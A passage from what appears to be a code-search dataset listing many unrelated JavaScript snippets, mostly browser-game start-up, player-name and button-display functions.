applicationState.gameStart = true;\n startTime = Date.now();\n}","function start(){\n c.style.display = \"none\"\n d.style.display = \"block\"\n document.querySelector(\"#user\").innerHTML= name + \" :\"\n}","function initiateGame(){\n\n\t$( document ).ready( function() {\n\t\t\n\t\t$( '#display' ).html('');\n\t\t$( '#display' ).attr('start', 'start');\n\t\t$( '#display' ).on( 'click', function() {\n\t\t\trenderGame();\n\t\t})\n\t\t\n\t});\n}","static startGameOnClick(){\n $('#imageIndex').on('click', function(event){\n var imageId = parseInt(event.target.id.replace(\"image\", \"\"))\n let userName = $('#username').val()\n userName === \"\" ? userName = \"Guest\" : userName\n startGame(imageId, userName)\n })\n }","function newGameUser() {\n var btn = document.getElementById(\"testName\");\n btn.addEventListener(\"click\", function() {\n userName = this.form.username.value;\n changeUserText(userName);\n this.form.username.value = \"\";\n testLocal();\n });\n}","function startGame()\r\n{\r\n // alert(\"The last straw \");\r\n\r\n isGameEnded = false ;\r\n playerName = prompt (\"What's your name ? \",\"Paul Tibbets\");\r\n statusMessage = \"Welcome, \"+playerName+\"!\" ;\r\n updateStatusMessage(statusMessage, 1) ;\r\n document.getElementById(\"name1\").innerHTML = playerName+\"'s Caption\" ;\r\n /* Empty the board contents */\r\n emptyBoard();\r\n\r\n /* Place the board at random for both computer and player */\r\n placeBoard();\r\n\r\n statusMessage = \"Hit me with your best shot, \"+playerName;\r\n updateStatusMessage(statusMessage, 2) ;\r\n\r\n}","function GameUI() {}","function screenPlayers()\n{\n\tshowScreen(\"players_choice\", \"Choix des joueurs\", function()\n\t{\n\t\tnbPlayers = 0;\n\n\t\tplayersList = [];\n\n\t\tdelete teamId;\n\n\t\tshowNext(\"Comptage\", function()\n\t\t{\n\t\t\tconsole.log(\"Go vers le comptage !!!\");\n\t\t});\n\n\t\t$.ajax(\n\t\t{\n\t\t\turl: serverUrl + \"queries.php\",\n\t\t\ttype: \"POST\",\n\t\t\tcache: false,\n\t\t\tdata:\n\t\t\t{\n\t\t\t\tfunc: \"get_user\"\n\t\t\t}\n\t\t}).done(function(data)\n\t\t{\n\t\t\tvar users = eval(data);\n\n\t\t\tvar slide = $(\"
    \").attr(\"id\", \"users_slide\");\n\n\t\t\tvar currentDiv = $(\"
    \");\n\n\t\t\tfor(var user in users)\n\t\t\t{\n\t\t\t\tif(user % 6 == 0 && user != 0)\n\t\t\t\t{\n\t\t\t\t\tslide.append(currentDiv);\n\n\t\t\t\t\tcurrentDiv = $(\"
    \");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tcurrentDiv.append(userSwitch(users[user]));\n\t\t\t}\n\n\t\t\tslide.append(currentDiv);\n\n\t\t\t$(\".wrapper\").append(slide);\n\n\t\t\t$(\"#users_slide\").slick(\n\t\t\t{\n\t\t\t\tdots: true,\n\t\t\t\tinfinite: false\n\t\t\t});\n\n\t\t\taddUserClickAction();\n\n\t\t\tvar usersChoiceButtons = $(\"
    \").attr(\"id\", \"users_choice_buttons\");\n\n\t\t\tvar ajouterButton = button(\"\").addClass(\"invisible\");\n\n\t\t\tvar commencerButton = button(\"Commencer\").attr(\"id\", \"commencer\").addClass(\"disable\");\n\n\t\t\tusersChoiceButtons.append($(\"
    \").append(ajouterButton));\n\n\t\t\tusersChoiceButtons.append($(\"
    \").append(commencerButton));\n\n\t\t\t$(\".wrapper\").append(usersChoiceButtons);\n\n\t\t\thideLoader();\n\t\t});\n\t});\n}","function gamestart() {\n\t\tshowquestions();\n\t}","function initGame(){\n gamemode = document.getElementById(\"mode\").checked;\n \n fadeForm(\"user\");\n showForm(\"boats\");\n \n unlockMap(turn);\n \n player1 = new user(document.user.name.value);\n player1.setGrid();\n \n turnInfo(player1.name);\n bindGrid(turn);\n}","startGame() {\r\n\t\tthis.board.drawHTMLBoard();\r\n\t\tthis.activePlayer.activeToken.drawHTMLToken();\r\n\t\tthis.ready = true;\r\n\t}","function playersOnClick () {\n module.exports.internal.stateManager.showState('main-branch', 'pick-a-player')\n}","function startGame() {\n showGuessesRemaining();\n showWins();\n}","function startGame() {\n console.log('start button clicked')\n $('.instructions').hide();\n $('.title').show();\n $('.grid_container').show();\n $('.score_container').show();\n $('#timer').show();\n // soundIntro('sound/Loading_Loop.wav');\n }","function startGame() {\n //hide the deal button\n hideDealButton();\n //show the player and dealer's card interface\n showCards();\n //deal the player's cards\n getPlayerCards();\n //after brief pause, show hit and stay buttons\n setTimeout(displayHitAndStayButtons, 2000);\n }","function start_game(){\r\n if(name_input.value==\"\"){\r\n enter_name_alert.style=\"visibility: visible;\"\r\n }\r\n else{\r\n enter_name_alert.style=\"visibility: hidden;\"\r\n first_layer.style.display=\"none\"\r\n user_name.innerHTML=name_input.value+' '\r\n }\r\n}","function startGame() {\n setMessage(player1 + ' gets to start.');\n}","function startGame() {\n\t\tstatus.show();\n\t\tinsertStatusLife();\n\t\tsetLife(100);\n\t\tsetDayPast(1);\n\t}","function changeUser() {\n var choice = Math.floor(Math.random() * name.length);\n document.getElementById(\"user\").innerHTML = name[choice];\n document.getElementById(\"userBtn\").innerHTML = name[choice];\n document.getElementById(\"userDrop\").innerHTML = name[choice];\n drawTextAndResize(name[choice]);\n}","function showButtons() {\n // when users are not connected, we want start game button disabled\n // document.getElementById('start-game').style.display = 'inline';\n\n document.getElementById('button-invite').style.display = 'inline';\n // document.getElementById('button-preview').style.display = 'inline';\n document.getElementById('grab-username').style.display = 'inline';\n document.getElementById('username').style.display = 'inline';\n document.getElementById('invite-to').style.display = 'inline';\n\n // document.getElementById('end-call').style.display = 'none';\n\n // ensure that local media removes on firefox\n $('#local-media > video').remove();\n }","function startGame() {\n createButtons();\n const cards = createCardsArray();\n appendCardsToDom(cards);\n}","function startGame() {\n setMessage(\"Select an opponent above\");\n}","function menu() {\n\t\n // Title of Game\n title = new createjs.Text(\"Poker Room\", \"50px Bembo\", \"#FF0000\");\n title.x = width/3.1;\n title.y = height/4;\n\n // Subtitle of Game\n subtitle = new createjs.Text(\"Let's Play Poker\", \"30px Bembo\", \"#FF0000\");\n subtitle.x = width/2.8;\n subtitle.y = height/2.8;\n\n // Creating Buttons for Game\n addToMenu(title);\n addToMenu(subtitle);\n startButton();\n howToPlayButton();\n\n // update to show title and subtitle\n stage.update();\n}","function win () { \n style = { font: \"65px Arial\", fill: \"#fff\", align: \"center\" };\n game.add.text(game.camera.x+325, game.camera.y+150, \"You Win!\", style);\n button = game.add.button(game.camera.x+275, game.camera.y+250, 'reset-button', actionOnResetClick, this);\n button = game.add.button(game.camera.x+475, game.camera.y+250, 'contact-button', actionOnContactClick, this); \n // The following lines kill the players movement before disabling keyboard inputs\n player.body.velocity.x = 0;\n setTimeout(game.input.keyboard.disabled = true, 1000); \n // Plays the victory song \n victory.play('');\n // When the Reset button is clicked, it calls this function, which in turn calls the game to be reloaded.\n // Here we display the contact and replay button options, calling either respective function\n function actionOnResetClick () {\n gameRestart();\n }\n\n // When the contact button is clicked it redirects through to contact form\n function actionOnContactClick () {\n\n window.location = (\"/contacts/\" + lastName)\n \n } \n }","function startGame(){\n\t$( \"#button_game0\" ).click(function() {selectGame(0)});\n\t$( \"#button_game1\" ).click(function() {selectGame(1)});\n\t$( \"#button_game2\" ).click(function() {selectGame(2)});\n\tloadRound();\n}","function displayStart(){\n\t// Display game start button again\n\t$('#game').append(\"
    \");\n\t$(\"#start\").unbind();\n\t$(\"#start\").click(startGame);\n\t// Play main theme song again\n\tmarioGame.audMainTheme.play();\n}","function switchToGameBoard(){\n\t\tif(userlist.length === 0){\n\t\t\tturnService.showWaitingAlert();\n\t\t}\n\t\t$userLoginArea.hide();\n\t\t$pageWrapper.show();\n\t\t$currentPhrase.hide();\n\t}","function startGame() {\n \n $(\"#start-button\").html(\"\");\n $(\"#start-button\").on('click', function () {\n $(\"#start-button\").remove();\n startTimer();\n getQuestion();\n });\n }","function startScreen() {\n\tdraw();\n\tif(usuario_id !== -1)\n\t\tstartBtn.draw();\n}","function startGame() {\n\t\ttheBoxes.innerText = turn;\n\t\twinner = null;\n\t}","function startGame() {\n\tvar serverMsg = document.getElementById('serverMsg');\n\tdocument.getElementById('print').disabled = false;\n\tserverMsg.value += \"\\n> all players have joined, starting game, wait for your turn...\"\n\tdocument.getElementById('rigger').style.display = \"none\";\n}","function joined(e) {\n userId = e.id;\n $('#controls').show();\n startPrompts();\n}","function startGame() {\n\n game.updateDisplay();\n game.randomizeShips();\n $(\"#resetButton\").toggleClass(\"hidden\");\n $(\"#startButton\").toggleClass(\"hidden\");\n game.startGame();\n game.updateDisplay();\n saveGame();\n}","function updateStartGameButtonVisibility() {\n //find out if current user is the creator\n var isCreator = (gameInfo.username === gameInfo.gameID);\n //get number of players\n var numPlayers = gameInfo.currentPlayers.length;\n\n if (isCreator && (numPlayers >= minNumberOfPlayers)) {\n //this is the game creator and there are enough players. Show start game option\n $(\"#startGameButton\").show();\n } else {\n //hide or keep hidden the startGameButton in all other cases\n $(\"#startGameButton\").hide();\n }\n}","function startNewGame(text){\n\n\t//console.log('start new game!');\n\n\ttext.destroy();\n\n\t//not very elegant but it does the job\n\tvar playerName = prompt(\"What's your name?\", \"Cloud\");\n\n\t//store player name in cache to be shown on in-game HUD\n\tlocalStorage.setItem(\"playerName\", playerName);\n\n\tthis.game.state.start('Game');\n}","function startGameButton() {\r\n\tif(table != undefined) {\r\n\t\ttable.startGame();\r\n\t}\r\n}","function login() {\n Player.name = $(\"#login_name\").val();\n $(\"#console\").hide();\n start_game();\n}","function beginApp() {\n console.log('Please build your team');\n newMemberChoice();\n}","function getFirstPlayer(){\n var firstRound = (Math.floor(Math.random() * 10) + 1)%2;\n turnsPlayer = turnsPlayer + firstRound;\n //display the current turn:\n if (turnsPlayer%2 == 0){\n currentPlayer = user.userx.name;\n } else {\n currentPlayer = user.usero.name;}\n $(\"#button2\").on(\"click\", function(){\n $(\"p\").text(\"Player \" + currentPlayer + \"'s turn\");\n });\n }","function populatepage(){\n \n document.getElementById('signedNamePlace').innerHTML = \"User: \";\n document.getElementById('signedName').innerHTML = username;\n document.getElementById('firstbtn').style.visibility = \"visible\";\n document.getElementById('simplebtn').style.visibility = \"visible\";\n}","function handleStartClick() {\n toggleButtons(true); // disable buttons\n resetPanelFooter(); // reset panel/footer\n\n for (let id of ['player-panel', 'ai-panel', 'enemyboard', 'ai-footer', 'player-footer']) {\n document.getElementById(id).classList.remove(\"hidden\");\n }\n\n game = new Game(settings.difficulty, settings.playerBoard);\n game.start();\n}","update() {\n this.nameText.text = 'Submit Name to Leaderboard:\\n ' + this.userName + '\\n(Submits on New Game)';\n\n }","function initializeGame(){\n if (typeof playerOne === \"undefined\"){\n $(\"section#game-section .game .game-wrapper\").text(\"Player One to Sign Up\");\n\n }else if(typeof playerTwo === \"undefined\") {\n $(\"section#game-section .game .game-wrapper\").text(\"Player Two to Sign Up\");\n }else{\n $(\"section#game-section .game .game-wrapper\").text(\"Game will start shortly \");\n $(\"section#game-section .game .game-wrapper\").append(playerTwo.name+' vs '+playerOne.name);\n startGame();\n assignStartTurn();\n }\n}","function aboutGame(){\n\tvar temp=\"\";\n\tvar img=\"\";\n\tvar Title=\"\";\n\t/// if we clicked on about the game formate about game text \n\tif(this.id === 'abutBtn'){\n\t\ttemp =window.gameInformation['abutBtn'];\n\t\timg='\\rrecources\\\\AF005415_00.gif';\n\t\tTitle=\" Game General Information \";\n\n\t}////// if we clicked on about the game formate about auther text \n\telse if(this.id === 'abouMe'){\n\t\ttemp =window.gameInformation['abouMe'];\n\t\timg='\\rrecources\\\\viber_image_2019-09-26_23-29-08.jpg';\n\t\tTitle=\" About The Auther\";\n\t}// formatting Text For Instructions\n\telse if(this.id === 'Instructions')\n\t{\n\t\ttemp =window.gameInformation['Instructions'];\n\t\timg='\\rrecources\\\\keyboard-arrows-512.png';\n\t\tTitle=\" Instructions\";\n\t}\n\n\t// create the dialog for each button alone\n\tcreatDialog(Title , temp ,img,300 );\n\t\n}","function startGame() {\n const usernameField = document.querySelector(\".username-field\");\n playerName = usernameField.value;\n hideGameIntroModal();\n fetch(\"headlines.json\")\n .then(response => response.json())\n .then(data => selectStories(data));\n}","function main() {\r\n rock_div.addEventListener(\"click\", () => {\r\n game(\"r\");\r\n resetUserRPS();\r\n showUserRock_div.style.display = \"block\";\r\n checkWhoWon();\r\n });\r\n paper_div.addEventListener(\"click\", () => {\r\n game(\"p\");\r\n resetUserRPS();\r\n showUserPaper_div.style.display = \"block\";\r\n checkWhoWon();\r\n });\r\n scissors_div.addEventListener(\"click\", () => {\r\n game(\"s\");\r\n resetUserRPS();\r\n showUserScissors_div.style.display = \"block\";\r\n checkWhoWon();\r\n });\r\n\r\n}","function display() {\n\n doSanityCheck();\n initButtons();\n}","function initialize() {\n $(\"#begin-btn\").html(\"\");\n\n }","function startGame() {\n startButton.classList.add(\"hide-content\");\n resetButton.classList.remove(\"hide-content\");\n $(\"#turnsTaken\").text(\"0\");\n originalColor();\n beginGame();\n}","function selectTypeGame(){\r\n\r\n inputs.forEach(input => input.value = \"\");//clean all imputs\r\n //if the user want to play with other user\r\n if(this.id === '2user'){\r\n //run the btnGame's logic\r\n containerModeGame.style.display = 'none';\r\n containerForm.style.display = 'block';\r\n\r\n //if the user want to play with the computer\r\n }else if(this.id === 'computerUser'){\r\n const userSelects = document.querySelectorAll('.userSelect');//btns X or O\r\n const userPrime = document.getElementById('userPrime');// input user name\r\n \r\n containerModeGame.style.display = 'none';\r\n containerPlayWithComputer.style.display = 'block'\r\n\r\n \r\n userSelects.forEach(userSelect => userSelect.addEventListener('click',(e)=>{\r\n \r\n if(userPrime.value.length === 0){//checks if the input is empty\r\n \r\n userPrime.parentNode.lastElementChild.textContent = 'User name cannot be empty';// write the message in the div\r\n //input.parentNode.lastElementChild.classList.add('alert');//add the alert class to the div\r\n\r\n userPrime.classList.add('input-alert');//add the input-alert class to the input\r\n\r\n } else {\r\n \r\n value1 = e.target.id === 'userX'? 'X':'O';\r\n value2 = value1 === 'X'? 'O':'X';\r\n\r\n //creating the user objects\r\n user1V = Object.assign(user1V,newUser(userPrime.value,true,value1));\r\n user2V = Object.assign(user2V,newUser('Computer',false,value2));\r\n\r\n \r\n containerPlayWithComputer.style.display = 'none';\r\n containerGame.style.display = 'block';\r\n\r\n //call the game; gameTicTacToe it's a module now \r\n const gameTicTacToe = game();\r\n\r\n\r\n gameTicTacToe.newGrid();\r\n gameTicTacToe.renderGrid();\r\n \r\n }\r\n\r\n \r\n }))\r\n\r\n }\r\n}","function initGame() {\n correctGuesses = 0;\n incorrectGuesses = 0;\n gameInProgress = false;\n $(\"#gameStart\").html(\"\")\n .click(playGame);\n}","function game() {\n document.querySelector(\"#gameStartModal\").style.display = \"none\";\n document.querySelector(\"#header section#level\").style.display = \"block\";\n document.querySelector(\"#header section#start\").style.display = \"block\";\n init();\n // The game loop.\n update();\n}","function startGame() {\r\n\r\n\tvar playerName = document.getElementById(\"playername\").value;\r\n\t\r\n\tif (playerName == \"\") {\r\n\t\treturn false;\r\n\t}else{\r\n\t\r\n\t\t// Store player name in pName variable\r\n\t\tpName = playerName;\r\n\t\t// Remove display of the intro screen\r\n\t\tdocument.getElementById(\"intro\").style.display = \"none\";\r\n\t\t// Add event listeners controls\r\n\t\taddControls();\r\n\t\t//Sounds.moon.play();\r\n\t}\r\n\r\n\r\n}","function startGame() {\n currentScoreDisplay.textContent = 0;\n player1Score.textContent = 0;\n player2Score.textContent = 0;\n player = Math.floor(Math.random() * 2) + 1;\n gameStarted = true;\n showPlayer(player);\n displayScores();\n}","function startNewGame(evt) {\n 'use strict';\n document.getElementById(\"gameDiv\").innerHTML = \"\";\n var menuDiv = document.getElementById(\"menuControls\");\n \n /* Variables for current player & last play to reset */\n var lastPlayDisplay = document.getElementById(\"lastPlayMade\");\n var currentPlayerDisp = document.getElementById('currentPlayer');\n lastPlayDisplay.innerHTML = \"\";\n currentPlayerDisp.innerHTML = \"\";\n \n menuDiv.innerHTML = \"\";\n document.getElementById(\"gameStatus\").style.display = \"none\";\n \n var newGameEntry = document.getElementById(\"userEntry\");\n newGameEntry.innerHTML = \"Player One Designation:
    \";\n newGameEntry.innerHTML += \"Player Two Designation:
    \";\n \n var plyrOneName = document.getElementById(\"plyrOneName\");\n var plyrTwoName = document.getElementById(\"plyrTwoName\");\n addHandler(plyrOneName, 'input', playerNameChange);\n addHandler(plyrTwoName, 'input', playerNameChange);\n \n var startGameBtn = document.getElementById(\"startGameBtn\");\n addHandler(startGameBtn, 'click', generateGameGrid);\n}","function startGame() {\n\t$(\"#start-button\", \"#menu\").click(function(){\n\t\tif (sess_token == null) {\n\t\t\treturn;\n\t\t}\n\t\tbutton_lock = true;\n\t\tdocument.getElementById(\"question-answer-container\").style.visibility = \"visible\";\n\t\tdocument.getElementById(\"stats\").style.visibility = \"visible\";\n\t\tdocument.getElementById(\"menu\").style.visibility = \"hidden\";\n\t\tdocument.getElementById(\"reset-button\").style.visibility = \"visible\";\n\t\tgetQuestion(\"easy\");\n\t}); \n}","function startGame() {\n let gameBoard = document.getElementById('gameBoard');\n let tutorial = document.getElementById('tutorial');\n gameBoard.style.display = \"block\";\n tutorial.style.display = \"none\";\n addGround();\n addTree(treeCenter, trunkHeight);\n addBush(bushStart);\n addStones(stoneStart);\n addCloud(cloudStartX, cloudStartY);\n addingEventListenersToGame();\n addingEventListenersToTools();\n addInventoryEventListeners()\n}","function NewGame() {\n\t// Your code goes here for starting a game\n\tprint(\"Complete this method in Singleplayer.js\");\n}","function onBoardClick() {\n if (!hasStarted) {\n startGame();\n } else {\n startPause();\n }\n }","function createUser (){\n\t//create user and get names from the user\n\tuser.townName = document.getElementById('townName').value;\n\tuser.character = document.getElementById('charName').value;\n\n\t//hide the user creation div and show the output div\n\t\n\tdocument.getElementById('outputDiv').style.display='block';\n\tdocument.getElementById('descriptionDiv').style.display='block';\n\tdocument.getElementById('textEntryDiv').style.display='block';\n\tdocument.getElementById('inputDiv').style.display='none';\n \n\t//Inititalize stuff\n\tclear();\n\tcreateItems();\n\tcreatePeople();\n\tcreateLocations();\n\tconnectLocations();\n\tgoTo(downtown); //Start the user in this location\n\t\n\t//Welcome the user\n\tdocument.getElementById('outputDiv').innerHTML=\n\t'Welcome to ' + user.townName + ', have fun playing our game ' + user.character + '! ' + user.townName + ' is divided into three sections Uptown, the Shopping District, and Downtown.';\n }","function startGame(){\n\t\tfor (var i=1; i<=9; i=i+1){\n\t\t\tclearBox(i);\n\t\t}\n\t\tdocument.turn = \"X\";\n\t\tif (Math.random()<0.5) {\n\t\t\tdocument.turn = \"O\";\n\t\t}\n\t\tdocument.winner = null;\n\t// This uses the \"setMessage\" function below in order to update the message with the contents from this function\n\t\tsetMessage(document.turn + \" gets to start.\");\n\t}","function displayUI() {\n /*\n * Be sure to remove any old instance of the UI, in case the user\n * reloads the script without refreshing the page (updating.)\n */\n $('#plugbot-ui').remove();\n\n /*\n * Generate the HTML code for the UI.\n */\n $('#chat').prepend('
    ');\n var cWoot = autowoot ? \"#3FFF00\" : \"#ED1C24\";\n var cQueue = autoqueue ? \"#3FFF00\" : \"#ED1C24\";\n var cHideVideo = hideVideo ? \"#3FFF00\" : \"#ED1C24\";\n var cUserList = userList ? \"#3FFF00\" : \"#ED1C24\";\n $('#plugbot-ui').append(\n '

    auto-woot

    auto-queue

    hide video

    userlist

    Custom Username FX:

    + add new

    ');\n}","function renderPlayer(){\n console.log('in renderPlayer')\n let text;\n if (!state.players[0] || !state.players[1]){\n text = `\n \n \n \n `\n } else {\n text = `${state.getCurrentPlayer()} place a token!`\n }\n playerTurn.innerHTML= text;\n }","static showGame() {\n document.getElementById('js-player-selection').style.display = 'none';\n document.getElementById('js-game-info').style.display = 'block';\n }","showStartButton() {\n let startButton = document.createElement(\"button\");\n startButton.innerHTML = \"Start\";\n startButton.addEventListener(\"click\", function () {\n game.deleteStartButton();\n game.showTitle();\n game.showReply();\n game.showForm();\n });\n startButton.classList.add(\"start\");\n this.main.appendChild(startButton);\n }","function startGame(player1Name, player2Name, difficultySetting) {\n window.scoreboard = new Scoreboard(player1Name, player2Name, difficultySetting); \n window.gameboard = new Gameboard(difficultySetting); \n window.clickToPlay = new ClickToPlay(player1Name, player2Name, difficultySetting);\n $('#grid-container-body').removeClass('hide');\n setTimeout(hideWelcomeModal, 500);\n }","function beginGame() {\n gameConsole.innerHTML = \"\";\n\n// Prompt player name\nplayer1Name = prompt('Please input your name');\n\n// and change it in the HTML\n document.getElementById('player-1-name').innerHTML = player1Name;\n\n// explain the rules for the opening puzzle\n gameConsole.innerHTML = 'Thanks ' + player1Name + '. The opening puzzle will begin. There will be one word up above that will fill in slowly. Click the buzzer of the opportunity to guess correctly. A correct guess will net you 50 points, and control of the first board. Guessing incorrectly will give the opponent the points and control. Good luck, and click the start button to begin.';\n\n// modify the start button to initialize the pizzle as oppose to beginning the game\n\tappendOutputConsole('div', '', 'flex-container justify-center');\n}","function startGame() {\n printStats();\n console.log(\"Game Started\");\n getGamePick();\n console.log(gPick);\n document.getElementById('Title').innerHTML=\"Great, now it is you turn pick a letter a-z\"; \n }","function clickToStart(){\n if (gameStarted === false) {\n $(\"#win-count\").text(wins);\n $(\"#loss-count\").text(wins);\n $(\"#win-header\").text(\"wins\");\n $(\"#loss-header\").text(\"losses\");\n $(\"#number-to-guess\").text(targetNumber);\n $(\"#userCounter\").text(counter);\n $(\"#clickToStart\").addClass(\"isHidden\");\n generateRupees();\n gameStarted = true;\n } \n \n }","function gameStart(){\n\t\tplayGame = true;\n\t\tmainContentRow.style.visibility = \"visible\";\n\t\tscoreRow.style.visibility = \"visible\";\n\t\tplayQuitButton.style.visibility = \"hidden\";\n\t\tquestionPool = getQuestionPool(answerPool,hintPool);\n\t\tcurrentQuestion = nextQuestion();\n}","function displayPlayer(turn, player) {\n turn.html('It is player '+player+'\\'s turn');\n }","function displayPlayers() {\n $('#userNameBox').text(human.name)\n $('#userSymbolBox').text(human.symbol)\n $('#compNameBox').text(ai.name)\n $('#compSymbolBox').text(ai.symbol)\n}","displayBoard(message) {\n $('.menu').css('display', 'none');\n $('.gameBoard').css('display', 'block');\n $('#userHello').html(message);\n this.createGameBoard();\n }","function start(){\n //hide game and error message\n document.getElementById(\"error-message\").classList.add(\"hidden\");\n document.getElementById(\"game\").classList.add(\"hidden\");\n\n //add event listener to start button to trigger game\n\tvar start = document.getElementById(\"intro\").firstChild.nextSibling;\n start.addEventListener('click', game);\n}","function showLoggedInUser(user) {\n login_status.text(\"Logged in as: \" + user.profile.name);\n login_button.text(\"Logout\");\n }","function startGame() {\n $controls.addClass(\"hide\");\n $questionWrapper.removeClass(\"hide\");\n showQuestion(0, \"n\");\n points();\n}","create () {\n var background = this.game.add.sprite(0, 0, 'space');\n background.height = this.game.height;\n var button = this.game.add.button(this.game.world.centerX - 100, 100, 'start', start,this);\n button.angle = -30;\n\n this.userName = ''; //Initializes name\n \n \n var scoreText = this.game.add.text(0, 500, 'You Lost!', {fontsize: '32px', fill: '#ffffff', boundsAlignH: \"center\"});\n scoreText.text = \"You Lost! Score: \" + this.scoreValue + \"\\n(Click Alex's face or \\npress enter to play again)\";\n scoreText.setTextBounds(0, 100, 800);\n\n this.nameText = this.game.add.text(200, 800, 'Submit Name to Leaderboard: \\n(Enter to Submit)', {fontsize: '32px', fill: '#ffffff'});\n //Retrieve keyboard presses from the player\n this.game.input.keyboard.addCallbacks(this, null, null, keyPress);\n this.textInput = this.game.add.text(this.game.world.centerX + 5, 575, \"\", {\n font: \"28px Arial\",\n fill: \"#000\",\n align: \"center\"\n });\n this.textInput.setText(this.textInput.text);\n this.textInput.anchor.setTo(0.5, 0.5);\n\n function keyPress(char) {\n this.userName += char;\n }\n\n //Keys for backspace and enter\n this.deleteKey = this.game.input.keyboard.addKey(Phaser.Keyboard.BACKSPACE);\n this.enterKey = this.game.input.keyboard.addKey(Phaser.Keyboard.ENTER);\n this.game.input.keyboard.addKeyCapture([ Phaser.Keyboard.BACKSPACE, Phaser.Keyboard.ENTER ]);\n\n //Detect backspaces when typing the name\n this.deleteKey.onDown.add(deleteText, this);\n\n //allows user to delete characters\n function deleteText() {\n if (this.userName !== '') {\n this.userName = this.userName.slice(0, this.userName.length - 1);\n }\n }\n\n //Detect Enter when typing the name\n this.enterKey.onDown.add(start, this);\n\n\n //Send to Firebase Here\n function start() {\n if (this.userName === '') {\n this.userName = 'Alex';\n }\n var newScore = {ScoreValue: this.scoreValue, UserName: this.userName};\n scoresData.push(newScore);\n\n this.userName = '';\n this.state.start('Game');\n }\n }","function startGame()\n{\n\tcreateDeck();\n\tshuffleDeck();\n\tcreatePlayers(2);\n\n\tdrawCard(0, 0);\n\tdrawCard(1, 0);\n\tdrawCard(0, 0);\n\tdrawCard(1, 0);\n\n\n\n\tdisplayCards();\n\tdisplayOptions();\n}","display(title) {\r\n this.title.html(title);\r\n this.title.position(130, 0);\r\n if (this.playButton, this.inputbox) {\r\n this.inputbox.position(130, 160);\r\n\r\n this.playButton.position(250, 200);\r\n\r\n this.playButton.mousePressed(() => {\r\n this.inputbox.hide();\r\n this.playButton.hide();\r\n playerObj.name = this.inputbox.value();\r\n gameState = 1;\r\n this.greeting.html(\"Welcome \" + playerObj.name);\r\n this.greeting.position(200, 250);\r\n });\r\n }\r\n }","function startGame() {\n\tdisplayCharacterStats(null);\n\n\treturn;\n}","function startGame() {\n createButtons();\n createCards();\n}","function startGame() {\n createButtons();\n createCards();\n}"],"string":"[\n \"function showGamificationButton(names, urls) {\\n\\n //////////////////////////\\n // REMOVE OLD BUTTONS\\n /////////////////////////\\n const old_gameStartButton = document.getElementById('start_game_button'),\\n old_gameButton = document.getElementById('guess_game_button');\\n if (old_gameStartButton !== null && old_gameButton !== null) {\\n removeElements([old_gameStartButton]);\\n removeElements([old_gameButton]);\\n }\\n \\n // create a button\\n const gameButton = document.createElement('div'),\\n gameStartButton = document.createElement('div');\\n \\n gameStartButton.innerHTML = 'START';\\n gameStartButton.id = 'start_game_button';\\n entry_info.parentNode.insertBefore(gameStartButton, entry_info.nextSibling);\\n\\n // assign an id to it\\n gameButton.id = 'guess_game_button';\\n\\n // insert text\\n gameButton.innerHTML = 'Guess The Plants';\\n\\n // append it next to the pages div tag as a next sibling element\\n pages.parentNode.insertBefore(gameButton, pages.nextSibling);\\n\\n // add a mouseup event listener to the buttons\\n gameButton.addEventListener('mouseup', () => {\\n \\n showGameEntry(urls);\\n });\\n gameStartButton.addEventListener('mouseup', () => {\\n\\n // if the text field for username input is not empty\\n if (username.value !== '') {\\n\\n // hide the game start button\\n gameStartButton.style.visibility = 'hidden';\\n \\n // set the container to be fullscreen\\n game_entry.style.setProperty('transform', 'translate(0, 0)', 'important');\\n game_entry.style.setProperty('width', '100%', 'important');\\n game_entry.style.setProperty('height', '100%', 'important');\\n\\n turns++;\\n init(names, urls);\\n }\\n });\\n}\",\n \"function renderGame (){\\n\\n //setup new instructions\\n var newInst = $(\\\"

    \\\");\\n newInst.text(\\\"Welcome back, \\\"+username);\\n newInst.addClass(\\\"col s12 center-align\\\");\\n $(\\\"#instructions\\\").html(newInst);\\n \\n $(\\\"#game\\\").show();\\n\\n $(\\\"#yourName\\\").text(username);\\n\\n\\n if(oppChoice){\\n $(\\\"#opponentChoice\\\").css(\\\"opacity\\\", \\\"1\\\");\\n } \\n // if you haven't chosen, set instructions to say choose\\n if (yourChoice){\\n $(\\\"#yourChoice\\\").css(\\\"background-image\\\", \\\"url('assets/images/\\\"+yourChoice+\\\".png')\\\");\\n $(\\\"#yourChoice\\\").css(\\\"opacity\\\", \\\"1\\\");\\n \\n // if you haven't chosen, show buttons \\n } else {\\n renderButtons();\\n }\\n\\n updateStatus();\\n}\",\n \"function useNewButton() {\\r\\n createUser();\\r\\n startPage()\\r\\n}\",\n \"function startGame(playerCount) {\\r\\n\\t\\r\\n\\tGC.initalizeGame(playerCount);\\r\\n\\t\\r\\n\\tUI.setConsoleHTML(\\\"The game is ready to begin! There will be a total of \\\" + GC.playerCount + \\\" players.
    Click to begin!\\\");\\r\\n\\tUI.clearControls();\\r\\n\\tUI.addControl(\\\"begin\\\",\\\"button\\\",\\\"Begin\\\",\\\"takeTurn()\\\");\\r\\n\\t\\r\\n\\tGC.drawPlayersOnBoard();\\r\\n}\",\n \"function startGame() {\\n\\tvar userName = $(\\\"#enterName\\\").val();\\n\\t$(\\\"#name\\\").text(userName);\\n\\t$(\\\"#startScreen\\\").addClass('hide');\\n\\tif($(\\\"#enterName\\\").val() != \\\"\\\") {\\n\\t\\tsetQuestion();\\n\\t} else {\\n\\t\\t$(\\\"#hint\\\").removeClass('initialHide');\\n\\t\\t$(\\\"#hint\\\").text(\\\"Please enter your username!\\\")\\n\\t}\\n\\n}\",\n \"function startGame(){\\r\\n var UserData;\\r\\n var userName = document.getElementById('nameEntry').value\\r\\n UserData = checkCookie(userName);\\r\\n updateTables(UserData);\\r\\n $('#Load').html(\\\"\\\");\\r\\n $('#saveGame').prop('disabled',false);\\r\\n enableTravel();\\r\\n}\",\n \"function startGame() {\\n $(\\\".landing-menu\\\").hide();\\n $(\\\".game-section\\\").show();\\n $(\\\".userButtons\\\").show();\\n }\",\n \"display(){\\r\\n var title = createElement('h1')\\r\\n title.html(\\\"car racing game!\\\")\\r\\n title.position(380,100)\\r\\n\\r\\n var input = createInput(\\\"Name\\\")\\r\\n var button = createButton(\\\"Play\\\")\\r\\n var greeting = createElement('h2')\\r\\n input.position(380,240)\\r\\n button.position(440,300)\\r\\n//when player pressed over the button player count is increased and updated\\r\\n//button and input is hidden\\r\\n//greeting message to the player is displayed\\r\\n\\r\\n button.mousePressed(function(){\\r\\n input.hide()\\r\\n button.hide()\\r\\n //.value()- gives the value that was passed inside the input\\r\\n var name = 